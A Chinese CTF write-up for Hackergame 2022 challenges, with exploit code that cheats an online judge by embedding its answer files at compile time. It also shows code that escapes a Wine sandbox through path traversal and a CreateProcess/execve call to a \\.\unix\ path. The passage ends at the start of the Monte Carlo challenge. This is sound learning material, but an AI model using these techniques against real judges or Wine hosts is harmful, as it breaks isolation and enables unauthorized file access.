CTF | 2022 USTC Hackergame WriteUp 0x02


前言

由于文章过长,分成了三篇:

  • 0x01(这里):签到,家目录里的秘密,HeiLang,Xcaptcha,旅行照片 2.0,Flag 自动机,光与影,线路板,Flag 的痕迹,LaTeX 机器人,猜数字,微积分计算小练习
  • 0x02(本文):企鹅拼盘,火眼金睛的小 E,安全的在线测评,杯窗鹅影,蒙特卡罗轮盘赌,片上系统,看不见的彼方
  • 0x03(这里):传达不到的文件,二次元神经网络,你先别急,惜字如金,量子藏宝图

这是 喵喵 2022 Hackergame WriteUp 的第二篇,主要包括一些难度稍大的题目,以 binary 类型为主

希望师傅们看了都能有所收获喵~

企鹅拼盘

这是一个可爱的企鹅滑块拼盘。(觉得不可爱的同学可以换可爱的题做)

和市面上只能打乱之后拼回的普通滑块拼盘不同,这个拼盘是自动打乱拼回的。一次游戏可以帮助您体验到 16/256/4096 次普通拼盘的乐趣。

每一步的打乱的方式有两种,选择哪一种则由您的输入(长度为 4/16/640/1 序列)的某一位决定。如果您在最后能成功打乱这个拼盘,您就可以获取到 flag 啦,快来试试吧wwwwww

你可以在下面列出的两种方法中任选其一来连接题目:

  • 点击下面的 “打开/下载题目” 按钮通过网页终端与远程交互。如果采用这种方法,在正常情况下,你不需要手动输入 token。
  • 在 Linux、macOS、WSL 或 Git Bash 等本地终端中使用 stty raw -echo; nc 202.38.93.111 11011; stty sane 命令来连接题目。如果采用这种方法,你必须手动输入 token(复制粘贴也可)。注意,输入的 token 不会被显示,输入结束后按 Ctrl-J 即可开始题目。
  • 本地终端或网页终端至少需要 120x33 的大小。
  • 如果想要本地直接运行源代码,需要使用 Python 3.10 及以上版本。

如果你不知道 nc 是什么,或者在使用上面的命令时遇到了困难,可以参考我们编写的 萌新入门手册:如何使用 nc/ncat?

题目代码:下载

这么简单我闭眼都可以!

打开直接玩,再右下角这个 Inputs 输入框里试一试,反正 2^4 = 16 种可能嘛

试到 1000 的时候,按下 L 执行全部,成功拿到 flag

flag{it_works_like_magic_e2a53e77e7}

大力当然出奇迹啦~

看源码,这里用了 Textual 来画界面,感觉还挺好看的呢

Textual

Textual is a Python framework for creating interactive applications that run in your terminal.

一个 Python 框架,用于创建在终端中运行的交互式应用程序

https://github.com/Textualize/textual

判断是否能给 flag 在这

self.info['scrambled'] and self.info['pc'] == self.info['lb'] and len(self.info['inbits']) > 0 and self.info['ib'] < 0

处理输入的 bits 的逻辑

async def handle_input_on_change(self, message):
    try:
        inbits = list(map(int, message.sender.value))
        for x in inbits:
            assert x == 0 or x == 1
        assert len(inbits) == self.bitlength
        self.inbits = inbits
        if self.pc == 0:
            self.watch_pc(0)
        else:
            self.pc = 0
    except:
        pass

调用了 watch_pc,主要就是这个 pc (程序/指令计数器?

打乱图和 Execute All 的逻辑在这,通过类似按键绑定的逻辑关联上的

def watch_pc(self, index):
    self.board.reset()
    for branch in self.branches[:index]:
        self.board.move(branch[1] if self.inbits[branch[0]] else branch[2])
    for i in range(16):
        self.blocks[i].set_i(self.board.b[i//4][i % 4])
    self.info.set_info({'bT': self.branches[index][1] if index < len(self.branches) else '',
                        'bF': self.branches[index][2] if index < len(self.branches) else '',
                        'inbits': self.inbits,
                        'ib': self.branches[index][0] if index < len(self.branches) else -1,
                        'scrambled': bool(self.board),
                        'pc': index,
                        'lb': len(self.branches),
                        'hl': -1})
async def action_reset(self):
    self.pc = 0

async def action_last(self):
    self.pc = len(self.branches)

async def action_prev(self):
    if self.pc > 0:
        self.pc -= 1

async def action_next(self):
    if self.pc < len(self.branches):
        self.pc += 1

写了个脚本,调了老半天,都没理解他逻辑,怎么就跑不出来呢

最后没办法,去翻了文档,Watch methods

Watch methods are another superpower. Textual will call watch methods when reactive attributes are modified. Watch methods begin with watch_ followed by the name of the attribute. If the watch method accepts a positional argument, it will be called with the new assigned value. If the watch method accepts two positional arguments, it will be called with both the old value and the new value.

意思是这个函数会监测这个变量的变化,如果变化了就会调用这个函数,其中的第一个参数就会被赋值为这个变量新的值

那这里就是按下 L 的话会调用 action_lastself.pc = len(self.branches),所以就会触发 watch_pc(len(self.branches))

再细看逻辑,实际上最重要的是这个 Board 类,他就是拼图是否打乱的判断依据

class Board:
    def __init__(self):
        self.b = [[i*4+j for j in range(4)] for i in range(4)]

    def _blkpos(self):
        for i in range(4):
            for j in range(4):
                if self.b[i][j] == 15:
                    return (i, j)

    def reset(self):
        for i in range(4):
            for j in range(4):
                self.b[i][j] = i*4 + j

    def move(self, moves):
        for m in moves:
            i, j = self._blkpos()
            if m == 'L':
                self.b[i][j] = self.b[i][j-1]
                self.b[i][j-1] = 15
            elif m == 'R':
                self.b[i][j] = self.b[i][j+1]
                self.b[i][j+1] = 15
            elif m == 'U':
                self.b[i][j] = self.b[i-1][j]
                self.b[i-1][j] = 15
            else:
                self.b[i][j] = self.b[i+1][j]
                self.b[i+1][j] = 15

    def __bool__(self):
        for i in range(4):
            for j in range(4):
                if self.b[i][j] != i*4 + j:
                    return True
        return False

所以事实上只需要调用 self.board.move,把 branches 全部给操作完,再看拼图有没有乱,也就是 bool(self.board) 是否为真就完事了

Exp:

# 前面先把源码 cp 一份
bitlength = 16
with open('chals/b16_obf.json') as f:
    # with open('chals/b4.json') as f:
    branches = json.load(f)

bp_app = BPApp(bitlength=bitlength, branches=branches)
# bp_app.run()
for i in range(0b1111111111111111):
    # for i in range(0b1111, 0, -1):
    msg = bin(i)[2:].rjust(16, '0')
    # msg = bin(i)[2:].rjust(4, '0')
    print(f"[+] -> {msg}")
    inbits = list(map(int, msg))
    bp_app.inbits = inbits

    bp_app.board.reset()
    for branch in bp_app.branches[:len(bp_app.branches)]:
        bp_app.board.move(branch[1] if bp_app.inbits[branch[0]] else branch[2])
    result = bool(bp_app.board)
    if result:
        print(f"[!] ===================================> {msg}")
        print(bp_app.board.b)
        break

跑完爆破,得到 0010111110000110

然后去连接靶机拿到 flag

flag{Branching_Programs_are_NC1_98bbe61f17}

讲个故事,喵喵最开始是从 0b1111111111111111 开始往小跑的,跑了好久没跑出来,中途就另外开个 vps 从 0 开始往上跑了。。(呜呜

这个拼盘。。能靠掀桌子弄乱吗?

查了下,这个应该是 不可还原的拼图 这个问题吧

百度百科:不可还原的拼图

知乎:9格拼图最后一排两个位置颠倒,如何能正确完成拼图?

滑块拼图移动形式的本质,是转动。

所有的2*2,都是通过也只能通过顺/逆时针的转动实现复原的。

3*3就是四个2*2的结合,4*4就是9个2*2的结合

事实上,把复原好的任意一阶拼图,任意互换两块的位置,都不可能复原。

好像又不是?摸了

啥,啥是电路题啊?

TODO

火眼金睛的小 E

小 E 有很多的 ELF 文件,它们里面的函数有点像,能把它们匹配起来吗?

小 A:这不是用 BinDiff 就可以了吗,很简单吧?

你可以通过 nc 202.38.93.111 12400 来连接题目,或者点击下面的 “打开/下载题目” 按钮通过网页终端与远程交互。

有手就行

最多 1440 分钟的时间解 2 道题,要求 100% 正确率

下个 bindiff 看看吧

https://www.zynamics.com/software.html

bindiff 还是需要 IDA 保存的 .i64 或者 .idb 文件才能进行 diff,试了下还挺好看的,就是不支持带有中文的路径啊,可恶

还支持 IDA 插件,先在 IDA 里打开一个 binary,Ctrl + W 保存 .i64 文件,然后打开第二个 binary,Ctrl + 6 调出 BinDiff 界面

发现 challenge 1 要找的函数在两个 binary 所对应的函数表里有,于是可以直接通过 bindiff 找到,这里的 similarity 是相似度吧

然而 challenge 2 的找不到,到 ida 里仔细看看,发现这可能就不算个函数,只是个函数里类似跳转点的东西

于是喵喵只能手工搜了下(不是说有手就行嘛),看那个 repe cmpsb 的汇编命令就很独特,于是到另一个 binary 里搜了下 F3A6 Hex,很好只有唯一的一个,那对应的函数位就是需要找的了

flag{easy_to_use_bindiff_7a230a956b}

唯快不破

最多 60 分钟的时间解 100 道题,要求 40% 正确率

得找个啥工具来解题才行了

TODO

大力出奇迹

最多 180 分钟的时间解 100 道题,要求 30% 正确率,这里一看这个函数偏移明显就大了很多,估计函数数量大得多吧。。

TODO

安全的在线测评

传说科大新的在线测评系统(Online Judge)正在锐意开发中。然而,新 OJ 迟迟不见踪影,旧的 OJ更旧的 OJ 却都已经停止了维护。某 2022 级计算机系的新生小 L 等得不耐烦了,当即表示不就是 OJ 吗,他 10 分钟就能写出来一个。

无法 AC 的题目

为了验证他写的新 OJ 的安全性,他决定在 OJ 上出一道不可能完成的题目——大整数分解,并且放出豪言:只要有人能 AC 这道题,就能得到传说中的 flag。当然,因为目前 OJ 只能运行 C 语言代码,即使请来一位少年班学院的天才恐怕也无济于事。

动态数据

为了防止数据意外泄露,小 L 还给 OJ 加入了动态数据生成功能,每次测评会随机生成一部分测试数据。这样,即使 OJ 测试数据泄露,攻击者也没办法通过所有测试样例了吧!(也许吧?)

判题脚本:下载

你可以通过 nc 202.38.93.111 10027 来连接题目,或者点击下面的 “打开/下载题目” 按钮通过网页终端与远程交互。

无法 AC 的题目

给了评测源码,包括静态数据和动态数据,静态数据在 ./data/static.out

直接写个读文件然后输出的程序就完事了

#include <stdio.h>
int main()
{
    FILE *fp= NULL;
    char buff[1000000];

    fp = fopen("./data/static.out", "r");
    fscanf(fp, "%s", buff);
    printf("%s\n", buff);

    fscanf(fp, "%s", buff);
    printf("%s", buff);
    fclose(fp);
    
    return 0;
}

按理说这个路径应该是 ../data/static.out 才对啊,不懂咋回事了(( 后面知道了

以及为啥能直接读这个 static.out 文件啊,感觉权限没配好,或者这是预期?

flag{the_compiler_is_my_eyes_7e7daa9a37}

按照 flag 的意思预期解还是需要借用编译器才对吧,乐(

动态数据

动态数据是随机生成了五组分别存到五个文件里

偶然一次编译的时候报错了

想到其实也可以这样泄露数据,来解第一问

但好像读不全,要是读第二行数据的话可以构造个合理的语句把第一行读了,让第二行报错。这样读取数据之后直接给 printf 了,哈哈

这回又不在当前目录的 data 目录下了,是在上一层的 data 下了。。好怪(

(这个 dynamic5 是超范围了,应该是 0..4

噢,突然想起来,源码里调用编译好的程序的 path 都是 BIN = './temp/temp_bin',而执行的路径都是在上一层,所以相对路径就是读当前的 data 目录啦!

def check_excutable(path, input, ans, timeout):
    if not os.path.isfile(path):
        return 'CE'

    try:
        p = subprocess.run(
            ["su", "runner", "-c", path],
            input=input,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            timeout=timeout
        )
    except subprocess.TimeoutExpired:
        return 'TLE'

    if p.returncode != 0:
        return 'RE'

    try:
        output = p.stdout.decode()
    except UnicodeDecodeError:
        return 'WA'

    lines = output.strip().split('\n')
    return 'AC' if lines == ans else 'WA'

然后试试能不能读 flag.py

哈哈,是假的 flag,笑死

在想 C 里有没有像 python 那种三个引号,或者 JavaScript 里反引号那样,支持多行字符串呢?

查了下果然有啊,C++11 引入了多行字符串,也就是 R"(...) 里的部分会被认为是原始字符串,不转义,原样输出

https://stackoverflow.com/questions/1135841/c-multiline-string-literal

const char * vogon_poem = R"V0G0N(
             O freddled gruntbuggly thy micturations are to me
                 As plured gabbleblochits on a lurgid bee.
              Groop, I implore thee my foonting turlingdromes.   
           And hooptiously drangle me with crinkly bindlewurdles,
Or I will rend thee in the gobberwarts with my blurlecruncheon, see if I don't.

                (by Prostetnic Vogon Jeltz; see p. 56/57)
)V0G0N";
const char * vogon_poem = R"( ... )";

所以如果 #include 在里面的话也就原样输出了,这不行

噢,所以还是考虑 编译器黑魔法 啊,在编译的时候把输入输出给读到代码里

参考 Is it possible to read a file at compile time?

C/C++ with GCC: Statically add resource files to executable/library

试了下如果在行间插入 #include,对于所包含的文件如果是只有单行的话,这确实可以直接加进来,比如可以这样读输入

#define STRINGIFY(...) #__VA_ARGS__
#define STR(...) STRINGIFY(__VA_ARGS__)
// #define STR(x) #x

const char* dynamic0_in = 
#include "../data/dynamic0.in"
;

另外可以用 objcopy 配合 _binary_filename_start _binary_filename_end 这样的语句将外部二进制文件在编译的时候加载进来

$ objcopy --input binary \
          --output elf32-i386 \
          --binary-architecture i386 data.txt data.o
    
////////////////////////////
#include <stdio.h>

/* here "data" comes from the filename data.o */
extern "C" char _binary_data_txt_start;
extern "C" char _binary_data_txt_end;

main()
{
    char*  p = &_binary_data_txt_start;

    while ( p != &_binary_data_txt_end ) putchar(*p++);
}

但是咱这里只能给一个 .c 文件,不大行

发现 Hacker News 上有个 Embedding Binary Objects in C

可以通过 下面这样在 gcc 编译(更准确说应该是链接?)过程中加载文件进来

$ cat t1.c
__attribute__((section("some_array"))) int a[] = {1, 2, 3};
$ cat t2.c
__attribute__((section("some_array"))) int b[] = {4, 5, 6};
$ cat t.c
#include <stdio.h>

extern const int __start_some_array;
extern const int __stop_some_array;

int main() {
  const int* ptr = &__start_some_array;
  const int n = &__stop_some_array - ptr;
  for (int i = 0; i < n; i++) {
    printf("some_array[%d] = %d\n", i, ptr[i]);
  }
  return 0;
}
$ gcc -std=c99 -o t t.c t1.c t2.c && ./t
some_array[0] = 1
some_array[1] = 2
some_array[2] = 3
some_array[3] = 4
some_array[4] = 5
some_array[5] = 6

这帖子下面正好有 CTFer 回复,说可以用内联汇编里的 .incbin 命令来包含二进制文件

一个现实的例子

之前也有国外的 CTF 出过类似的题:

  • TokyoWesterns CTF 5th 2019: Oneline Calc

    好像是个 web 题,也要通过编译过程来读 flag

  • hxp 36C3 CTF 2019: compilerbot

    也就是 Hacker News 帖子里下面那个回答,他利用字符串下标结合报错来泄露 flag 的每一位(虽然咱试了下行不通

感觉还是得利用 asm 的 .incbin 特性

7.47 .incbin "file"[,skip[,count]]

The incbin directive includes file verbatim at the current location. You can control the search paths used with the ‘-I’ command-line option (see Command-Line Options). Quotation marks are required around file.

The skip argument skips a number of bytes from the start of the file. The count argument indicates the maximum number of bytes to read. Note that the data is not aligned in any way, so it is the user’s responsibility to make sure that proper alignment is provided both before and after the incbin directive.

https://sourceware.org/binutils/docs/as/Incbin.html#Incbin

然后比赛的时候本地调了老半天没搞定。。(难道因为 Windows 操作系统不行?

赛后问群友,说找到了个知乎上的回答:C++怎么把任意文本文件include成全局字符数组?

可以定义个宏来实现

#include <iostream>

#define EMBED_STR(name, path)                \
  extern const char name[];                  \
  asm(".section .rodata, \"a\", @progbits\n" \
      #name ":\n"                            \
      ".incbin \"" path "\"\n"               \
      ".byte 0\n"                            \
      ".previous\n");

EMBED_STR(kCurSourceFile, "example.cpp");

int main() {
  std::cout << kCurSourceFile;
  return 0;
}

于是可以改改这个把 dynamic{0,1,2,3,4}.out 都给读进来

为了计数是第几次执行程序,喵喵这里写入到了个 /temp/cnt 文件,咱试了老半天发现只有这个目录下可以写入。。

Exp:

#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <stdlib.h>

#define EMBED_STR(name, path)                              \
    extern const char name[];                              \
    asm(".section .rodata, \"a\", @progbits\n" #name ":\n" \
        ".incbin \"" path "\"\n"                           \
        ".byte 0\n"                                        \
        ".previous\n");

EMBED_STR(dynamic0_out, "./data/dynamic0.out");
EMBED_STR(dynamic1_out, "./data/dynamic1.out");
EMBED_STR(dynamic2_out, "./data/dynamic2.out");
EMBED_STR(dynamic3_out, "./data/dynamic3.out");
EMBED_STR(dynamic4_out, "./data/dynamic4.out");

int main()
{
    FILE *fp, *fp2 = NULL;
    char buff[200];
    char num[20];
    char filename[50];
    int no = 0;

    struct stat statbuf;
    fp = fopen("./temp/cnt", "a+");
    // fp = fopen("./cnt", "a+");
    if (fp == NULL)
    {
        puts("Fail to open file cnt!");
        exit(-1);
    }
    // stat("./temp/cnt", &statbuf);
    // stat("./cnt", &statbuf);
    // int size = statbuf.st_size;
    // if (size > 0)
    fscanf(fp, "%s", num);
    no = strlen(num);
    if (no == 1)
    {
        printf("%s", dynamic0_out);
    }
    else if (no == 2)
    {
        printf("%s", dynamic1_out);
    }
    else if (no == 3)
    {
        printf("%s", dynamic2_out);
    }
    else if (no == 4)
    {
        printf("%s", dynamic3_out);
    }
    else if (no == 5)
    {
        printf("%s", dynamic4_out);
    }
    else
    {
        strcpy(filename, "./data/static.out");
        // strcpy(filename, "./static.out");

        fp2 = fopen(filename, "r");
        if (fp2 == NULL)
        {
            // puts("Fail to open file out!");
            exit(0);
        }
        fscanf(fp2, "%s", buff);
        printf("%s\n", buff);
        fscanf(fp2, "%s", buff);
        printf("%s", buff);
        fclose(fp2);
    }
    fprintf(fp, ".");
    fclose(fp);
    return 0;
}

直接丢到题目里跑就行,在 Windows 下编译会报错

Error: unknown pseudo-op: `.previous'

flag{cpp_need_P1040_std_embed_...}

草,好像就因为这类似报错让喵喵否定了这个用法的,所以为啥我不在 Linux 下编译呢???

所以为啥我不比较 OJ 给的输入来判断应该 printf 哪一个呢???非得折腾半天找个临时文件来记录(算了又不是不行

哈哈,这个 #embed 咱也试过但是还没支持呢

P1040R6 “魔法”函数 std::embed ,可以随处选择嵌入一个文件并得到引用嵌入后二进制的 span 。现在的发展方向是引入一个 #depend 预处理指令指定翻译单元可以嵌入的文件。

P1967R2, N2592 预处理指令 #embed ,功能比较受限而纯粹,即是得到作为嵌入的二进制数据的数组初始化器列表。 #embed 是同时针对 C 和 C++ 提出的。

看了 官方 wp,才发现 GitHub 上有个现成的 incbin 头文件库,Include binary and textual files in your C/C++ applications with ease

呜呜,所以喵喵还是不会怎么改汇编里的 .incbin

杯窗鹅影

说到上回,小 K 在获得了实验室高性能服务器的访问权限之后就迁移了数据(他直到现在都还不知道自己的家目录备份被 Eve 下载了)。之后,为了跑一些别人写的在 Windows 下的计算程序,他安装了 wine 来运行它们。

「你用 wine 跑 Windows 程序,要是中毒了咋办?」

「没关系,大不了把 wineprefix 删了就行。我设置过了磁盘映射,Windows 程序是读不到我的文件的!」

但果真如此吗?

为了验证这一点,你需要点击「打开/下载题目」按钮,上传你的程序实现以下的目的:

  1. /flag1 放置了第一个 flag。你能给出一个能在 wine 下运行的 x86_64 架构的 Windows 命令行程序来读取到第一个 flag 吗?
  2. /flag2 放置了第二个 flag,但是需要使用 /readflag 程序才能看到 /flag2 的内容。你能给出一个能在 wine 下运行的 x86_64 架构的 Windows 命令行程序来执行 /readflag 程序来读取到第二个 flag 吗?

提示:

  1. 该环境为只读环境,运行在 x86_64 架构的 Linux 上。我们未安装图形库与 32 位的相关运行库,因此需要使用图形界面的 Windows 程序与 32 位的 Windows 程序均无法执行;
  2. 包括 start.exe, cmd.exe, winebrowser.exe, wineconsole.exe 在内的部分程序已从环境中删除;
  3. 作为参考,你可以在 Linux 下使用 MinGW 交叉编译出符合要求的 Windows 程序,以 Ubuntu 22.04 为例(其他 Linux 发行版所需操作类似):
    1. 安装 MinGW 工具链,在 Ubuntu 22.04 下其对应的软件包为 gcc-mingw-w64-x86-64
    2. 使用 C 编写 Windows 程序,这里使用 Hello, world 为例(代码见下) ;
    3. 使用命令 x86_64-w64-mingw32-gcc helloworld.c 编译,得到的 a.exe 文件即为符合要求的 x86_64 架构的 Windows 命令行程序。
#include <stdio.h>

int main(void) {
    printf("Hello, world!\n");
    return 0;
}

补充说明 1:wine 的执行环境仅包含 c: 的默认磁盘映射,z: 的磁盘映射已被删除。

flag1

试了下列目录,网上随便抄了个 代码,改了下路径

#define _CRT_SECURE_NO_WARNINGS

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>

// Recursive是1表示递归查找,否则就只列出本级目录
int ListDirectory(char* Path, int Recursive)
{
    HANDLE hFind;
    WIN32_FIND_DATA FindFileData;
    char FileName[MAX_PATH] = { 0 };
    int Ret = -1;

    strcpy(FileName, Path);
    strcat(FileName, "\\");
    strcat(FileName, "*.*");

    // 查找第一个文件
    hFind = FindFirstFile(FileName, &FindFileData);

    if (hFind == INVALID_HANDLE_VALUE)
    {
        printf("Error when list %s\n", Path);
        return Ret;
    }
    do
    {
        // 构造文件名
        strcpy(FileName, Path);
        strcat(FileName, "\\");
        strcat(FileName, FindFileData.cFileName);
        printf("%s\n", FileName);

        // 如果是递归查找,并且文件名不是.和..,并且文件是一个目录,那么执行递归操作
        if (Recursive != 0 
            && strcmp(FindFileData.cFileName, ".") != 0
            && strcmp(FindFileData.cFileName, "..") != 0
            && FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
            ListDirectory(FileName, Recursive);
        }
        // 查找下一个文件
        if (FindNextFile(hFind, &FindFileData) == FALSE)
        {
            // ERROR_NO_MORE_FILES 表示已经全部查找完成
            if (GetLastError() != ERROR_NO_MORE_FILES)
            {
                printf("Error when get next file in %s\n", Path);
            }
            else
            {
                Ret = 0;
            }
            break;
        }
    } while (TRUE);
    
    // 关闭句柄
    FindClose(hFind);
    return Ret;
}

int main()
{
    char Path[MAX_PATH + 1] = { 0 };

    // 因为gets在VS2019里不可用,所以用fgets替代
    // fgets(Path, sizeof(Path), stdin);  
    strcpy(Path, "..\\");
    // 因为使用了fgets,所以要取掉结尾多余的换行符
    while (Path[strlen(Path) - 1] == '\n'
           || Path[strlen(Path) - 1] == '\r')
    {
        Path[strlen(Path) - 1] = '\0';
    }
    ListDirectory(Path, 0);
    return 0;
}

居然真的可以路径穿越到 host 上,乐!

..\\.
..\\..
..\\.dockerenv
..\\bin
..\\boot
..\\etc
..\\flag1
..\\flag2
..\\home
..\\lib
..\\lib64
..\\media
..\\mnt
..\\opt
..\\readflag
..\\root
..\\run
..\\sbin
..\\server.py
..\\srv
..\\tmp
..\\usr
..\\var

那就直接读 /flag1 完事了啊

Exp:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("Hello, world!\n");
    char szOldPath[512] = { 0 };
    GetCurrentDirectoryA(512, szOldPath);
    printf("%s\n", szOldPath);

    FILE *fp = NULL;
    char buff[1000000];
    fp = fopen("..\\flag1", "r");
    fscanf(fp, "%s", buff);
    printf("%s\n", buff);
    fclose(fp);
        
    printf("2333");
    return 0;
}

有点没用的东西,懒得删了(

其实直接在 Windows 上编译就行

gcc exp1.c -o exp1

flag{Surprise_you_can_directory_traversal_1n_WINE_bb5da913e0}

flag2

如果改成读 flag2 的话会报错,没权限

wine: Unhandled page fault on read access to 0000000000000050 at address 000000007BC52BA7 (thread 0009), starting debugger...
0009:err:seh:start_debugger Couldn't start debugger L"winedbg --auto 8 44" (2)
Read the Wine Developers Guide on how to set up winedbg or another debugger

按照题目意思,需要在 wine 下运行的 x86_64 架构的 Windows 命令行程序来执行 /readflag 程序来读取到第二个 flag

/readflag 是个 ELF 文件

想到了 git bash,扔上去试了发现不行,缺少 dll 库,不大行

发现一个有意思的事,如果传 git 目录下的 bin 下的 bash.exe 或者 sh.exe,实际上是个链接文件

server.py 源码读回来

import subprocess
import base64

if __name__ == "__main__":
    binary = input("Base64 of binary: ")
    with open("/dev/shm/a.exe", "wb") as f:
        f.write(base64.b64decode(binary))
    # check if it is a PE binary
    with open("/dev/shm/a.exe", "rb") as f:
        if f.read(2) != b"MZ":
            print("Not a valid PE binary.")
            exit(1)
    output = subprocess.run(
        ["su", "nobody", "-s", "/bin/bash", "-c" "/usr/bin/wine /dev/shm/a.exe"],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        env={
            "WINEPREFIX": "/wine"
        }
    )
    stdout = output.stdout[:8192].decode()
    stderr = output.stderr.decode()
    print("stdout (标准输出,前 8192 个字节):")
    print(stdout)
    print("stderr (标准错误,前 8192 个字节):")
    stderr = stderr.split("\n")

    stderr_blacklist = [
        "it looks like wine32 is missing",
        "multiarch needs to be",
        "dpkg --add-architecture",
        "install wine32",
        "wineserver:",
        r'Failed to create directory L"C:\\users\\nobody',
    ]
    limit = 8192
    for i in stderr:
        flag = True
        for b in stderr_blacklist:
            if b in i:
                flag = False
                break
        if flag:
            i_bytes = i.encode()
            if len(i_bytes) <= limit:
                print(i)
                limit -= len(i_bytes)
            else:
                i = i_bytes[:limit].decode()
                print(i)
                exit(0)

How to run a Bash shell script via Win32 CreateProcess through Wine?

没人回答,但他用 CreateProcess 成功执行了 /usr/bin/touch /Users/username/Desktop/file

Can a program run through WINE launch a native linux app? [xpost /r/Ubuntu]

Yes, that’s possible, like I mentioned here: https://www.reddit.com/r/winehq/comments/55xkrd/is_it_possible_for_a_program_running_under_wine/

You just need to get the path right, then it shouldn’t matter if it’s a windows program or a linux program. Both batch and functions like “CreateProcess” work with linux programs.

Yeah that’s possible: Z:\bin\bash "-c "gimp \"$(winepath '%1')\"""

Just put this as “external editor”, should also work for paths with spaces.

但是这题里 z: 的磁盘映射已被删除,就不能直接这么玩了

折腾了好久,又去看 wine,啥是 wine 啊

Wine (“Wine Is Not an Emulator” 的首字母缩写)是一个能够在多种 POSIX-compliant 操作系统(诸如 Linux,macOS 及 BSD 等)上运行 Windows 应用的兼容层。Wine 不是像虚拟机或者模拟器一样模仿内部的 Windows 逻辑,而是将 Windows API 调用翻译成为动态的 POSIX 调用,免除了性能和其他一些行为的内存占用,让你能够干净地集合 Windows 应用到你的桌面。

https://www.winehq.org/about

原来是个递归定义的名称啊。一个递归缩写(偶尔写成递归首字缩写)是一种在全称中递归引用它自己的缩写。

这是将 win32api 转译成 syscall 啊!

那能不能调用个 exec* 相关的 syscall 呢?

下个 源码 回来瞄一眼吧。。(或者 https://gitlab.winehq.org/wine/wine / GitHub mirror

比如找到了个 execve 相关的代码在 dlls/ntdll/unix/process.c

这个 fork_and_exec 函数在 NtCreateUserProcess 函数里调用,而这个就是 win32api 下 CreateProcess 系列函数的底层实现

于是其实就可以构造个 CreateProcess 来执行这个 /readflag

直接抄个 微软的文档 Creating Processes,以及参考函数文档 CreateProcessA function (processthreadsapi.h)

这里这个 Command line 也就是 LPSTR 对应的参数,咱开始写的 ..\\readflag 或者 .\\readflag 或者 \\readflag 之类的都不行,然后非常想不通

看了老半天文档,怀疑是不是不能直接用 CreateProcessA 而要自己调用底层的 NtCreateUserProcess,于是找了脚本,调了老半天,还是不行,哪里锅了呢???

赛后才知道应该是 \\\\.\\unix\\readflag 或者 \\\\?\\unix\\readflag 这样才行

有群友直接 wine 开个 explorer.exe 就看到根目录了,地址栏里就写了 \\?unix\,早知道咱也起个 wine 看了((

当然源代码里有些文件和路径处理相关的文件里有判断

也有一些测试代码,里面也有各种例子了

Exp:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

void _tmain( int argc, TCHAR *argv[] )
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

    // if( argc != 2 )
    // {
    //     printf("Usage: %s [cmdline]\n", argv[0]);
    //     return;
    // }
    printf("meow~\n");

    // Start the child process. 
    if( !CreateProcessA( NULL,   // No module name (use command line)
        "\\\\.\\unix\\readflag",    //argv[1],        // Command line
        NULL,           // Process handle not inheritable
        NULL,           // Thread handle not inheritable
        FALSE,          // Set handle inheritance to FALSE
        0,              // No creation flags
        NULL,           // Use parent's environment block
        NULL,           // Use parent's starting directory 
        &si,            // Pointer to STARTUPINFO structure
        &pi )           // Pointer to PROCESS_INFORMATION structure
    ) 
    {
        printf( "CreateProcess failed (%d).\n", GetLastError() );
        return;
    }

    // Wait until child process exits.
    WaitForSingleObject( pi.hProcess, INFINITE );

    // Close process and thread handles. 
    CloseHandle( pi.hProcess );
    CloseHandle( pi.hThread );
}

说来为啥是先调用 CreateProcess 再 printf 呢(

赛后群友说直接代码里写 execve 就行了,草!

#include <unistd.h>

int main() {
    execve("\\\\?\\unix\\readflag", NULL, NULL);
    return 0;
}

WinExec, ShellExecute,CreateProcess 区别

Making NtCreateUserProcess Work

From CreateProcess() to NtCreateUserProcess() 实现了 native APIs,PoC 在 NtCreateUserProcess,但是不懂为啥咱好像跑不起来,可能因为系统版本不同?

GitHub: Direct-NtCreateUserProcess

linux下system()/execve()/execl()函数使用详解

还有个有意思的 Attacking WINE 系列GitHub repo

蒙特卡罗轮盘赌

这个估算圆周率的经典算法你一定听说过:往一个 1 x 1 大小的方格里随机撒 N 个点,统计落在以方格某个顶点为圆心、1 为半径的 1/4 扇形区域中撒落的点数为 M,那么 M / N 就将接近于 π/4 。

当然,这是一个概率性算法,如果想得到更精确的值,就需要撒更多的点。由于撒点是随机的,自然也无法预测某次撒点实验得到的结果到底是多少——但真的是这样吗?

有位好事之徒决定借此和你来一场轮盘赌:撒 40 万个点计算圆周率,而你需要猜测实验的结果精确到小数点后五位。为了防止运气太好碰巧猜中,你们约定五局三胜。

源代码:monte_carlo.zip。运行环境为 debian:11 容器,详见源代码压缩包中的 Dockerfile

你可以通过 nc 202.38.93.111 10091 来连接,或者点击下面的 “打开/下载题目” 按钮通过网页终端与远程交互。

这傻逼题目整了喵喵三个多小时的时间,心态炸了……

给了源码

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

double rand01()
{
	return (double)rand() / RAND_MAX;
}

int main()
{
	// disable buffering
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

	srand((unsigned)time(0) + clock());
	int games = 5;
	int win = 0;
	int lose = 0;
	char target[20];
	char guess[2000];
	for (int i = games; i > 0; i--) {
		int M = 0;
		int N = 400000;
		for (int j = 0; j < N; j++) {
			double x = rand01();
			double y = rand01();
			if (x*x + y*y < 1) M++;
		}
		double pi = (double)M / N * 4;
		sprintf(target, "%1.5f", pi);
		printf("请输入你的猜测(如 3.14159,输入后回车):");
		fgets(guess, 2000, stdin);
		guess[7] = '\0';
		if (strcmp(target, guess) == 0) {
			win++;
			printf("猜对了!\n");
		} else {
			lose++;
			printf("猜错了!\n");
			printf("正确答案是:%1.5f\n", pi);
		}
		if (win >= 3 || lose >= 3) break;
	}
	if (win >= 3) {
		printf("胜利!\n");
		system("cat /flag");
	}
	else printf("胜败乃兵家常事,大侠请重新来过吧!\n");
	return 0;
}

随便查一下 C 语言函数

